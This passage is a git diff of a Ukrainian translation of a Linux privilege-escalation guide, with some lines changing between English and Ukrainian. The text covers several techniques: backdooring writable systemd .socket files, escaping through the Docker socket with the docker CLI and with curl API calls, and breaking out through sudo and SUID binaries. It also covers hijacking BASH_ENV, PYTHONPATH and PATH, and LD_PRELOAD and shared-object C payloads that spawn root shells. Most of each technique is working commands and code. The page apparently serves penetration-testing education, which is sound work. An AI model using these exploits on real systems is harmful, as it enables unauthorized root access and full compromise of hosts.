відбуватися прослуховування** сокета (шлях до AF_UNIX socket файлу, IPv4/6 та/або номер порту для прослуховування тощо). -- `Accept`: Приймає булевий аргумент. Якщо **true**, то **для кожного вхідного з’єднання створюється інстанс service** і йому передається лише сокет з’єднання. Якщо **false**, усі прослуховуючі сокети **передаються відразу до стартованого service unit**, і створюється лише один service unit для всіх з’єднань. Це значення ігнорується для datagram sockets і FIFOs, де один service unit безумовно обробляє весь вхідний трафік. **Defaults to false**. З міркувань продуктивності рекомендується писати нові демони таким чином, щоб вони підходили для `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Приймають одну або декілька рядків команд, які **виконуються до** або **після** створення та прив’язки прослуховуючих **sockets**/FIFOs відповідно. Першим токеном командного рядка має бути абсолютне ім’я файлу, за яким слідують аргументи процесу. -- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються до** або **після** закриття та видалення прослуховуючих **sockets**/FIFOs відповідно. -- `Service`: Вказує ім’я **service** unit, яке потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена лише для сокетів з Accept=no. За замовчуванням використовується service з таким же ім’ям, як і socket (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -Якщо ви знайдете **доступний для запису** `.socket` файл, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому, **ймовірно доведеться дочекатися перезавантаження машини.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Якщо ви **виявите будь‑який доступний для запису socket** (_тут мова про Unix Sockets, а не про конфігураційні `.socket` файли_), то **ви зможете спілкуватися** з цим socket і, можливо, експлуатувати вразливість. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. ### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Необроблене з'єднання +### Сире з'єднання ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -528,7 +530,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Приклад експлуатації:** {{#ref}} @@ -537,28 +539,28 @@ socket-command-injection.md ### HTTP sockets -Зверніть увагу, що можуть бути деякі **sockets listening for HTTP** requests (_я не маю на увазі .socket files, а файли, що виступають як unix sockets_). Перевірити це можна за допомогою: +Зверніть увагу, що можуть бути деякі **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо socket **responds with an HTTP** request, то ви можете **communicate** з ним і, можливо, **exploit some vulnerability**. +If the socket **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і, можливо, **exploit якусь vulnerability**. -### Доступний для запису Docker Socket +### Доступний для запису Docker socket -Docker socket, часто знаходиться за `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням він доступний для запису користувачу `root` та членам групи `docker`. Наявність прав запису до цього socket може призвести до privilege escalation. Нижче наведено розбір того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний. +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. -#### **Privilege Escalation with Docker CLI** +#### **Privilege Escalation з Docker CLI** -Якщо у вас є write access до Docker socket, ви можете escalate privileges, використовуючи наступні команди: +Якщо у вас є доступ на запис до Docker socket, ви можете escalate privileges, використовуючи наступні команди: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ці команди дозволяють запустити контейнер із доступом на рівні root до файлової системи хоста. +Ці команди дозволяють запустити контейнер з правами root до файлової системи хоста. -#### **Використання Docker API безпосередньо** +#### **Using Docker API Directly** -У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати за допомогою Docker API та команд `curl`. +У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати за допомогою Docker API та `curl` команд. 1. **List Docker Images:** Отримати список доступних образів. @@ -566,19 +568,19 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Надіслати запит на створення контейнера, який монтує кореневий каталог хост-системи. +2. **Create a Container:** Надіслати запит на створення контейнера, який примонтовує кореневий каталог системи хоста. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Запустіть щойно створений контейнер: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Використайте `socat`, щоб встановити з'єднання з контейнером, що дозволить виконувати команди всередині нього. +3. **Attach to the Container:** Використайте `socat` для встановлення з'єднання з контейнером, що дозволяє виконувати команди всередині нього. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -588,13 +590,13 @@ Connection: Upgrade Upgrade: tcp ``` -Після встановлення `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста. +Після встановлення `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з правами root до файлової системи хоста. -### Інше +### Others -Зауважте, що якщо у вас є права запису до docker socket, оскільки ви **є членом групи `docker`**, у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Зауважте, що якщо у вас є права на запис у docker socket через те, що ви **в групі `docker`**, у вас є [**більше способів підвищити привілеї**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API слухає порт**, ви також можете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Перегляньте **more ways to break out from docker or abuse it to escalate privileges** в: +Перегляньте **більше способів вийти з docker або зловживати ним для підвищення привілеїв** у: {{#ref}} @@ -603,7 +605,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Якщо ви можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: +Якщо ви виявите, що можете використовувати команду **`ctr`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: {{#ref}} @@ -612,7 +614,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Якщо ви можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: +Якщо ви виявите, що можете використовувати команду **`runc`**, прочитайте наступну сторінку, оскільки **ви можете зловживати нею для підвищення привілеїв**: {{#ref}} @@ -621,15 +623,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus — це складна Inter-Process Communication (IPC) система, яка дозволяє застосункам ефективно взаємодіяти та обмінюватися даними. Розроблена для сучасної системи Linux, вона надає надійну основу для різних форм комунікації між застосунками. +D-Bus — це розвинена система міжпроцесної взаємодії (inter-Process Communication, IPC), яка дозволяє додаткам ефективно взаємодіяти та обмінюватись даними. Розроблена з урахуванням сучасних Linux-систем, вона пропонує надійну основу для різних форм комунікації між додатками. -Система багатофункціональна: підтримує базовий IPC, який покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції компонентів системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити медіаплеєр приглушити звук, покращуючи користувацький досвід. Також D-Bus підтримує remote object system, що спрощує запити сервісів та виклики методів між застосунками, оптимізуючи процеси, які раніше були складними. +Система є універсальною, підтримуючи базовий IPC, що покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події чи сигнали, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth daemon про вхідний виклик може змусити плеєр вимкнути звук, покращуючи досвід користувача. D-Bus також підтримує систему віддалених об'єктів, спрощуючи запити сервісів і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. -D-Bus працює за моделлю allow/deny, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі кумулятивного ефекту співпадних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи privilege escalation шляхом експлуатації цих дозволів. +D-Bus працює за моделлю allow/deny, керуючи дозволами на повідомлення (виклики методів, емісія сигналів тощо) на основі кумулятивного ефекту правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів. -Наведено приклад такої політики у `/etc/dbus-1/system.d/wpa_supplicant.conf`, що деталізує дозволи для користувача root на володіння, відправлення та отримання повідомлень від fi.w1.wpa_supplicant1. +Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` наведено нижче; він деталізує дозволи для користувача root на володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. -Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, хто не покритий іншими специфічними політиками. +Політики без вказаного користувача або групи застосовуються універсально, тоді як політики в контексті "default" застосовуються до всіх, кого не покривають інші специфічні політики. ```xml @@ -638,7 +640,7 @@ D-Bus працює за моделлю allow/deny, керуючи дозвола ``` -**Дізнайтеся, як enumerate та exploit D-Bus комунікацію тут:** +**Дізнайтеся, як enumerate та exploit D-Bus communication тут:** {{#ref}} @@ -647,9 +649,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Мережа** -Завжди цікаво enumerate мережу та визначити розташування машини в ній. +Завжди цікаво enumerate the network і з'ясувати розташування машини. -### Загальна enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -674,22 +676,22 @@ lsof -i ``` ### Відкриті порти -Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не мали змоги взаємодіяти до отримання доступу: +Завжди перевіряйте мережеві сервіси, які працюють на машині та з якими ви не могли взаємодіяти до отримання доступу до неї: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі облікові дані. +Перевірте, чи можете перехоплювати трафік. Якщо так, ви зможете отримати деякі облікові дані. ``` timeout 1 tcpdump ``` -## Користувачі +## Users -### Загальна перевірка +### Generic Enumeration -Перевірте, **хто** ви, які **privileges** у вас є, які **users** є в системі, хто може **login** та хто має **root privileges:** +Перевірте, **who** ви є, які **privileges** у вас є, які **users** є в системах, хто може **login** і хто має **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -711,21 +713,21 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Великий UID +### Big UID -Деякі версії Linux були вражені помилкою, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Експлуатуйте це** за допомогою: **`systemd-run -t /bin/bash`** +Деякі версії Linux постраждали від бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Експлуатувати** за допомогою: **`systemd-run -t /bin/bash`** ### Groups -Перевірте, чи ви є **членом якоїсь групи**, яка може надати вам root privileges: +Перевірте, чи ви є **членом якоїсь групи**, що може надати вам root-привілеї: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Буфер обміну +### Clipboard Перевірте, чи є в буфері обміну щось цікаве (якщо можливо) ```bash @@ -744,27 +746,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Відомі паролі -Якщо ви **знаєте будь-який пароль** середовища, **спробуйте ввійти під кожним користувачем**, використавши цей пароль. +Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти як кожен користувач**, використовуючи цей пароль. ### Su Brute -Якщо ви не проти створити багато шуму і на комп'ютері присутні бінарні файли `su` і `timeout`, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також пробує brute-force користувачів. +Якщо вам не важливо створювати багато шуму і бінарні файли `su` та `timeout` присутні на комп'ютері, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається виконувати brute-force для користувачів. -## Зловживання можливістю запису в $PATH +## Зловживання записуваним $PATH ### $PATH -Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записній папці** з ім'ям якоїсь команди, яка буде виконана іншим користувачем (бажано root), і яка **не завантажується з папки, що розташована перед** вашою записною папкою в $PATH. +Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у доступній для запису папці** під назвою якоїсь команди, яка буде виконана іншим користувачем (root бажано) і яка **не завантажується з папки, що знаходиться перед** вашою доступною для запису папкою в $PATH. ### SUDO and SUID -Вам може бути дозволено виконувати певну команду через sudo або вона може мати suid bit. Перевірте це за допомогою: +Вам може бути дозволено виконувати деякі команди через sudo або вони можуть мати suid bit. Перевірте це за допомогою: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Деякі **неочікувані commands дозволяють вам читати та/або записувати файли або навіть виконувати command.** Наприклад: +Деякі **неочікувані команди дозволяють вам читати і/або записувати файли або навіть виконувати команду.** Наприклад: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -775,7 +777,7 @@ less>! ``` ### NOPASSWD -Налаштування sudo може дозволяти користувачу виконувати певну команду з привілеями іншого користувача без знання пароля. +Конфігурація Sudo може дозволити користувачеві виконувати певну команду з правами іншого користувача без знання пароля. ``` $ sudo -l User demo may run the following commands on crashlab: @@ -787,24 +789,24 @@ sudo vim -c '!sh' ``` ### SETENV -Ця директива дозволяє користувачеві **встановити змінну середовища** під час виконання команди: +Ця директива дозволяє користувачеві **встановити змінну середовища** під час виконання чогось: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Цей приклад, **based on HTB machine Admirer**, був **вразливий** до **PYTHONPATH hijacking**, щоб завантажити довільну python library під час виконання скрипту від імені root: +Цей приклад, **based on HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипту від імені root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV збережено через sudo env_keep → root shell -Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), ви можете використати неінтерактивну поведінку запуску Bash, щоб виконати довільний код від імені root під час виклику дозволеної команди. +Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), ви можете використати безінтерактивну поведінку запуску Bash, щоб виконати довільний код від імені root при виклику дозволеної команди. -- Why it works: Для non-interactive shells, Bash оцінює `$BASH_ENV` і sources той файл перед запуском цільового скрипта. Багато правил sudo дозволяють запускати скрипт або shell wrapper. Якщо `BASH_ENV` збережено sudo, ваш файл буде sourced із правами root. +- Чому це працює: Для безінтерактивних оболонок, Bash оцінює `$BASH_ENV` і підвантажує цей файл перед запуском цільового скрипта. Багато правил sudo дозволяють запускати скрипт або оболонкову обгортку. Якщо `BASH_ENV` зберігається sudo, ваш файл буде підвантажений з привілеями root. - Вимоги: -- Правило sudo, яке ви можете виконати (будь-яка ціль, що викликає `/bin/bash` неінтерактивно, або будь-який bash script). +- Наявне правило sudo, яке ви можете виконати (будь-яка ціль, що викликає `/bin/bash` у безінтерактивному режимі, або будь-який bash-скрипт). - `BASH_ENV` присутній у `env_keep` (перевірте за допомогою `sudo -l`). - PoC: @@ -817,14 +819,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Підвищення безпеки: +- Зміцнення: - Видаліть `BASH_ENV` (та `ENV`) з `env_keep`, віддавайте перевагу `env_reset`. -- Уникайте shell-обгорток для команд, дозволених через sudo; використовуйте мінімальні бінарні файли. -- Розгляньте sudo I/O логування та оповіщення при використанні збережених env vars. +- Уникайте shell wrappers для команд, дозволених через sudo; використовуйте мінімальні бінарні файли. +- Розгляньте логування вводу/виводу sudo та оповіщення, коли використовуються збережені env vars. ### Шляхи обходу виконання sudo -**Перейдіть** щоб прочитати інші файли або використати **symlinks**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Перейти** щоб читати інші файли або використати **symlinks**. Наприклад у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -841,39 +843,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary без вказаного шляху до команди +### Sudo command/SUID binary without command path -Якщо **sudo permission** надається для однієї команди **без вказування шляху**: _hacker10 ALL= (root) less_ ви можете експлуатувати це, змінивши змінну PATH +Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_ ви можете експлуатувати це, змінивши змінну PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо **suid** бінарник **виконує іншу команду без вказання шляху до неї (завжди перевіряйте вміст підозрілого SUID бінарного файлу за допомогою** _**strings**_**)**. +Цю техніку також можна використовувати, якщо бінарний файл **suid** **виконує іншу команду без вказування шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary з вказаним шляхом команди +### SUID бінарний файл із шляхом до команди -Якщо **suid** бінарник **виконує іншу команду, вказуючи шлях**, то ви можете спробувати **export a function** з ім'ям тієї команди, яку викликає suid файл. +Якщо **suid** бінарний файл **виконує іншу команду, вказуючи шлях**, то можна спробувати **експортувати функцію**, названу так само, як команда, яку викликає suid файл. -Наприклад, якщо suid бінар викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію і експортувати її: +Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, потрібно спробувати створити функцію з такою ж назвою і експортувати її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Тоді, коли ви викличете suid-бінарний файл, ця функція буде виконана +Тоді, коли ви викликаєте suid binary, ця функція буде виконана ### LD_PRELOAD & **LD_LIBRARY_PATH** -Змінна середовища **LD_PRELOAD** використовується для вказування однієї або кількох спільних бібліотек (.so файли), які мають бути завантажені loader'ом перед усіма іншими, включно зі стандартною бібліотекою C (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. +Змінна середовища **LD_PRELOAD** використовується для вказання однієї або кількох розділюваних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. -Однак, щоб підтримувати безпеку системи та запобігти використанню цієї можливості, особливо з **suid/sgid** виконуваними файлами, система застосовує певні обмеження: +Однак, щоб підтримувати безпеку системи та запобігти зловживанню цією функціональністю, особливо з **suid/sgid** виконуваними файлами, система накладає певні умови: -- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором (_euid_). -- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також мають біт suid/sgid. +- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). +- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також мають suid/sgid. -Підвищення привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить запис **env_keep+=LD_PRELOAD**. Ця конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися і визнаватися навіть під час виконання команд через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. +Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися та визнаватися навіть під час запуску команд через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` @@ -890,17 +892,17 @@ setuid(0); system("/bin/bash"); } ``` -Потім **скомпілюйте це** використовуючи: +Потім **скомпілюйте його** за допомогою: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Нарешті, **escalate privileges** під час виконання +Нарешті, запустіть **escalate privileges** ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Подібний privesc може бути використаний, якщо атакувальник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки. +> Подібний privesc можна використати, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, у якому шукатимуться бібліотеки. ```c #include #include @@ -922,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Коли натрапляєте на бінарний файл з правами **SUID**, який виглядає підозрілим, корисно перевірити, чи він правильно завантажує **.so** файли. Це можна зробити, виконавши таку команду: +Коли ви натрапляєте на binary з правами **SUID**, який здається підозрілим, добре перевірити, чи він правильно підвантажує файли **.so**. Це можна зробити, виконавши наступну команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, виявлення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ свідчить про потенційну можливість експлуатації. +Наприклад, поява помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. -Щоб скористатися цим, потрібно створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який міститиме наступний код: +Щоб експлуатувати це, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, що міститиме наступний код: ```c #include #include @@ -939,13 +941,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпулювання правами доступу до файлів та запуску shell із підвищеними привілеями. +Цей код, після компіляції та запуску, має на меті підвищити привілеї шляхом маніпуляцій з правами доступу до файлів та виконання shell з підвищеними привілеями. -Скомпілюйте наведений вище C-файл у спільний об'єкт (.so) файл за допомогою: +Скомпілюйте наведений вище C-файл у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до system compromise. +Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи. ## Shared Object Hijacking ```bash @@ -957,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, у яку ми можемо записувати, створімо бібліотеку в цій папці з необхідною назвою: +Тепер, коли ми знайшли SUID binary, який завантажує library з folder, куди ми можемо писати, створімо library у тій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -970,17 +972,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Якщо ви отримаєте помилку на кшталт +Якщо ви отримуєте помилку на кшталт ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -that means that the library you have generated need to have a function called `a_function_name`. +це означає, що згенерована вами бібліотека має містити функцію з назвою `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix binaries, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **only inject arguments** в команду. +[**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix бінарників, які можуть бути використані атакуючим для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **only inject arguments** in a command. -Проект збирає легітимні функції Unix binaries, які можна зловживати для виходу з restricted shells, escalate або maintain elevated privileges, transfer files, spawn bind and reverse shells та полегшення інших post-exploitation tasks. +Проєкт збирає легітимні функції Unix бінарників, які можна зловживати для break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, та полегшення інших post-exploitation tasks. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -999,22 +1001,22 @@ https://gtfoargs.github.io/ ### FallOfSudo -Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знаходить він спосіб експлуатувати будь-яке правило sudo. +Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи знаходить він спосіб експлуатувати будь-яке sudo rule. ### Reusing Sudo Tokens -У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, чекаючи на виконання команди sudo і перехопивши session token. +У випадках, коли у вас є **sudo access**, але немає пароля, ви можете escalate privileges шляхом очікування виконання sudo команди і подальшого hijacking the session token. -Вимоги для підвищення привілеїв: +Requirements to escalate privileges: - Ви вже маєте shell як користувач "_sampleuser_" -- "_sampleuser_" **used `sudo`** для виконання чогось в **останні 15 хвилин** (за замовчуванням це тривалість sudo token, що дозволяє використовувати `sudo` без введення пароля) -- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0 -- `gdb` доступний (ви можете його завантажити) +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (за замовчуванням це тривалість sudo token, яка дозволяє використовувати `sudo` без введення пароля) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` доступний (ви можете завантажити його) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Ви можете тимчасово ввімкнути `ptrace_scope` з `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно модифікувавши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) -Якщо всі ці вимоги виконані, **ви можете підвищити привілеї за допомогою:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** 